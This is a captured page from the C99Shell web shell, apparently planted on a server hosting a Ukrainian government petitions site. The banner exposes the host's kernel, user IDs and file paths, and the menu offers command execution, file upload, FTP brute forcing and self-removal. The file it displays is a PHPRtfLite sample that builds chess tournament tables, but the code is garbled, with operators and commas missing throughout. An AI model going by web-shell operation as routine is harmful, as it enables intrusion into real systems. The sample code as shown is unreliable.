!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/alien/phprtflite/samples/   drwxr-xr-x
Free 106.95 GB of 200.55 GB (53.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     chess_tournament.php (6.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require '../lib/PHPRtfLite.php';

// register PHPRtfLite class loader
PHPRtfLite::registerAutoloader();

//Font formats
$font1 = new PHPRtfLite_Font(11'Times new Roman''#000055');

//Paragraph formats
$parFC = new PHPRtfLite_ParFormat('center');

$parFL = new PHPRtfLite_ParFormat('left');

//Rtf document
$rtf = new PHPRtfLite();

//section
$sect $rtf->addSection();
$sect->writeText('Chess tournamet information (write your data)' "\n", new PHPRtfLite_Font(14'Arial'), new PHPRtfLite_ParFormat());

$chessPlayers = array('Mike Smith''Jim Morgan''Jochgan Berg''Bill Scott''Bill Martines''John Po''Aleck Harrison''Ann Scott''Johnatan Fredericson''Eva Carter');

/*$chessResults = (array(
                array(0  , 1  , 0.5, 1  , 0  , 1  , 0  , 0.5  , 1  , 1  ),
                array(0, 0, 0.5, 0.5, 0, 0, 0, 0, 0, 1),
                array(0.5, 1, 0, 1, 0.5, 1, 0.5, 0, 0, 1),
                array(0, 0.5, 0.5, 0, 0, 0.5, 0.5, 0, 0, 1),                


                array(1, 0.5, 1, 0, 0, 0.5, 0.5, 0, 0, 1),            

));*/

$count count($chessPlayers);
$countCols $count 2;
$countRows $count 1;

$colWidth = ($sect->getLayoutWidth() - 5) / $count;

//table creating and rows ands columns adding
$table $sect->addTable();
$table->addRows(12);
$table->addRows($count, -0.6);

$table->addColumn(3);
for (
$i 1$i <= count($chessPlayers); $i ++) {    
    
$table->addColumn($colWidth);
}
$table->addColumn(2);

//borders
$border PHPRtfLite_Border::create(1'#555555');
$table->setBorderForCellRange($border11$countRows$countCols);

//top row
$table->rotateCellRange(PHPRtfLite_Table_Cell::ROTATE_RIGHT121$countCols 1);
$table->setVerticalAlignmentForCellRange(PHPRtfLite_Table_Cell::VERTICAL_ALIGN_CENTER121$countCols);

$i 2;
foreach (
$chessPlayers as $player) {
      
$table->writeToCell(1$i$player$font1null);
      
$table->writeToCell($i1$player$font1, new PHPRtfLite_ParFormat(), false);
        
$border PHPRtfLite_Border::create(1'#0000ff');
      
$table->setBorderForCellRange($border$i$i);
      
$table->setBackgroundForCellRange('#dddddd'$i$i);
      
$i++;
}

//tournament result
/*$i = 1;
foreach ($chessResults as $playerResult) {
    $j = 1;
    $sum = 0;
    foreach ($playerResult as $result)  {
        if ($i != $j) {
            $table->writeToCell($i + 1, $j + 1, $result, new PHPRtfLite_Font(11, 'Times new Roman', '#7A2900'), new PHPRtfLite_ParFormat('center'));
            $sum += $result;
        }
        $j++;
    }
    $table->writeToCell($i + 1, $j + 1, '<b>'.$sum.'</b>', new PHPRtfLite_Font(11, 'Times new Roman', '#7A2900'), new PHPRtfLite_ParFormat('center'));
    $i++;
}*/

$fontBold = new PHPRtfLite_Font(11'Times new Roman''#7A2900');
$fontBold->setBold();

$table->setTextAlignmentForCellRange('center'22$countRows$countCols);
$table->setFontForCellRange(new PHPRtfLite_Font(11'Times new Roman''#7A2900'), 22$countRows$countCols 1);
$table->setFontForCellRange($fontBold2$countCols$countRows);

$table->writeToCell(1$countCols'TOTAL'$font1, new PHPRtfLite_ParFormat('center'));

$border PHPRtfLite_Border::create(1.5'#000000');
$table->setBorderForCellRange($border1$countCols$countRows$countCols);
$borderFormat = new PHPRtfLite_Border_Format(1'#0000ff''dash');
$border = new PHPRtfLite_Border(nullnullnull$borderFormat);
//Registry::$debug = true;
$table->setBorderForCellRange($border2$countCols$countRows 1$countCols);

$sect->writeText('Chess tournamet play-offs (write your data)' "\n", new PHPRtfLite_Font(14'Arial'), new PHPRtfLite_ParFormat());

$countSmall 5;
$countLarge 6;

$smallWidth '0.75';
$bigWidth = ($sect->getLayoutWidth() - $countSmall $smallWidth) / $countLarge;

$table $sect->addTable();
$table->addRows(16, -0.5);
$table->addColumnsList(array($smallWidth$bigWidth$bigWidth$smallWidth$smallWidth$bigWidth$bigWidth$smallWidth$smallWidth$bigWidth$bigWidth));

$table->setTextAlignmentForCellRange('center'111611);
$table->setFontForCellRange(new PHPRtfLite_Font(11'Times new Roman''#7A2900'), 111611);


$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 2133);
$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 6173);
$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 101113);
$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 141153);

$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 4557);
$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 125137);

$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 89911);
$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 1491511);

$table->setBorderForCellRange(PHPRtfLite_Border::create(1), 110311);

$table->writeToCell(21'P1'$font1null);
$table->writeToCell(31'P8'$font1null);
$table->writeToCell(61'P2'$font1null);
$table->writeToCell(71'P7'$font1null);
$table->writeToCell(101'P3'$font1null);
$table->writeToCell(111'P6'$font1null);
$table->writeToCell(141'P4'$font1null);
$table->writeToCell(151'P5'$font1null);

$table->writeToCell(11'A1'$font1null);
$table->writeToCell(51'A2'$font1null);
$table->writeToCell(91'A3'$font1null);
$table->writeToCell(131'A4'$font1null);

$table->writeToCell(35'B1'$font1null);
$table->writeToCell(45'A1'$font1null);
$table->writeToCell(55'A2'$font1null);

$table->writeToCell(115'B2'$font1null);
$table->writeToCell(125'A3'$font1null);
$table->writeToCell(135'A4'$font1null);

$table->writeToCell(710'1-st place'$font1null);
$table->writeToCell(89'B1'$font1null);
$table->writeToCell(99'B2'$font1null);

$table->writeToCell(1310'3-d place'$font1null);
$table->writeToCell(149'B1'$font1null);
$table->writeToCell(159'B2'$font1null);


$table->setBackgroundForCellRange('#ffff88'110111);
$table->setBackgroundForCellRange('#cccccc'210211);
$table->setBackgroundForCellRange('#ffAA66'310311);


$table->writeToCell(110'1-st place'$font1null);
$table->writeToCell(210'2-st place'$font1null);
$table->writeToCell(310'3-d place'$font1null);

// send to browser
$rtf->sendRtf('chess_tournament.rtf');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0118 ]--